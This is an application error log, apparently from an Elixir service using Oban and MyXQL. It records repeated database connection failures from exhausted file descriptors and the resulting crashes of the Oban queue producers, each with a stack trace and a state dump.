[Sat Sep  5 23:39:54.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:54.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:56.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:04.702000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:05.458000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:39:54.240480Z], limit: 3, uuid: "cc5938f0-da96-4e14-bbf4-676e411b8fe9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:54.240486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130835>, refresh_timer: #Reference<0.2525715032.1121189889.130791>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:39:54.240245Z], limit: 20, uuid: "f8fd0a90-f8a4-4cd6-b2b7-51766e1101e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:54.240251Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.25033>, refresh_timer: #Reference<0.2525715032.1099431938.24988>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:39:54.239011Z], limit: 5, uuid: "df8013f4-26f8-4b4f-a1ba-25306ffeb1bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:54.239018Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.25035>, refresh_timer: #Reference<0.2525715032.1099431938.24980>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:39:54.245852Z], limit: 50, uuid: "3bab4b35-7eec-49c0-8500-74cd59b31718", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:54.245857Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.130838>, refresh_timer: #Reference<0.2525715032.1099431938.25029>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:06.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:39:54.241685Z], limit: 5, uuid: "18a6bb4f-79de-41a3-99d5-379be46e0e49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:54.241692Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.257750>, refresh_timer: #Reference<0.2525715032.1077411843.257741>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:39:54.244051Z], limit: 10, uuid: "04691be8-8d09-4969-91b1-483d88527d19", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:54.244057Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.25034>, refresh_timer: #Reference<0.2525715032.1099431938.25013>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:07.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:09.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:10.141000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:17.660000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:18.275000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:40:06.245289Z], limit: 50, uuid: "b2809653-cc4e-41a6-bf4c-26952da22f9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:06.245295Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.22480>, refresh_timer: #Reference<0.2525715032.1121189889.131198>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:40:06.245698Z], limit: 10, uuid: "8f16a51f-8352-458f-9b16-092d6026f8dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:06.245704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.22479>, refresh_timer: #Reference<0.2525715032.1068498948.22469>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
